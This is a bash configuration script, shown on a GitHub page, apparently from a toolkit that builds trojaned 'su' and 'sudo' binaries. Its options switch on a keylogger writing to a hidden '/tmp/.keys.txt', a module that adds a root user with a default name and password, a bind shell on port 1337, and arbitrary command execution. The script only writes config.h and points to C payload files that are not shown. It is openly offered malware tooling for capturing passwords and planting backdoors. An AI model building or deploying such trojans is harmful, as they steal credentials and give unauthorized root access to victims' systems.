-
Notifications
You must be signed in to change notification settings - Fork 22
/
configure
executable file
·127 lines (97 loc) · 2.32 KB
/
configure
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#!/bin/bash
fun=(add-root-user bind-shell system)
programs=(su sudo)
system()
{
read -p "command to execute: " cmd
config+=("#include <stdlib.h>")
config+=("#define PWNFUNCTION system(\"$cmd\");")
}
add_root_user()
{
config+=("#define PWNFUNCTION add_root_user();")
read -p "username (default: foxtrot): " username
if [[ ! -z "$username" ]];then
config+=("#define USER \"${username}:\"")
fi
read -p $'enter a password\n(default: bravo oscar sierra tango alfa): ' pw
if [[ ! -z "$pw" ]];then
config+=("// $pw")
set -x
pw="$(openssl passwd -1 -salt x0x0x0x0 "${pw}")"
set +x
config+=("#define PASSWORD \"$pw\"")
fi
config+=('#include "fun/add-root-user.c"')
}
bind_shell()
{
config+=("#define PWNFUNCTION bind_shell();")
read -p "listen port (Default: 1337): " port
if [[ ! -z "$port" ]];then
config+=("#define PORT $port")
fi
config+=('#include "fun/bind-shell.c"')
}
keylogger()
{
read -p "number of lines to record [empty = store all]: " line_limit
read -p "logfile (default: /tmp/.keys.txt): " logfile
config+=("#define KEYLOGGER")
if [[ ! -z "$line_limit" ]];then
config+=("#define LINE_LIMIT ${line_limit}")
fi
if [[ -z "$logfile" ]];then
logfile="/tmp/.keys.txt"
fi
config+=("#define LOGFILE \"${logfile}\"")
config+=('#include "fun/keylogger.c"')
}
ask_keylogger()
{
read -p "enable keylogger? [y/N] " r
[[ "${r,}" == "y" ]] && keylogger
}
ask_fun()
{
read -p "use some FUN modules? [y/N] " r
if [[ "${r,}" == "y" ]];then
while :;do
for ((i = 1; i <= ${#fun[@]}; i++));do
echo "[$i] ${fun[i - 1]}"
done
echo "[$i] cancel"
read -p "> " r
(( r == i )) && break;
if (( r < i && r > 0 ));then
config+=("#define CMDCHANGE")
# call the function
${fun[r - 1]//-/_}
break;
fi
done
fi
}
if [[ "$1" != "generic-keylogger" ]];then
name="fake$1"
else
name="$1"
fi
echo -e "\e[32m[+] configuring $name ...\e[0m"
if [[ -e config.h ]];then
read -p "config.h already exist, do you want to overwrite it? [y/N] " r
[[ "${r,}" != "y" ]] && exit;
fi
if [[ "$name" != "generic-keylogger" ]];then
ask_keylogger
ask_fun
else
keylogger
fi
echo -e "#ifndef __CONFIG_H__\n#define __CONFIG_H__\n" > config.h
for i in "${config[@]}"
do
echo -e "$i" >> config.h
done
echo -e "\n#endif" >> config.h
echo -e "\e[32m[+] configuration file created in ${PWD}/config.h\e[0m"